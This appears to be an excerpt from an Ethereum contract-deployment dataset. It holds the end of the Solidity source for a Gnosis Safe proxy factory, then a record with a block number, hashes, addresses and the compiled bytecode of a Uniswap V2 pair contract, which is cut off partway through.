/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,497,374 |
b9a7f7036dfc44aa2c6178a88b404ca1554b71311c1ee2a481ecd64e2f7a1518
|
7b49ad8e32c64fec3944447257b554fa3ab3b7d3dc09761091dbdcdf76921d92
|
ceda894459b68dc5f19b05a3e54d02e4e6cf59aa
|
5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
|
81cf2833ac863f58a0c84c746e5b2713f01a5a74
|
60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429
|
608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffff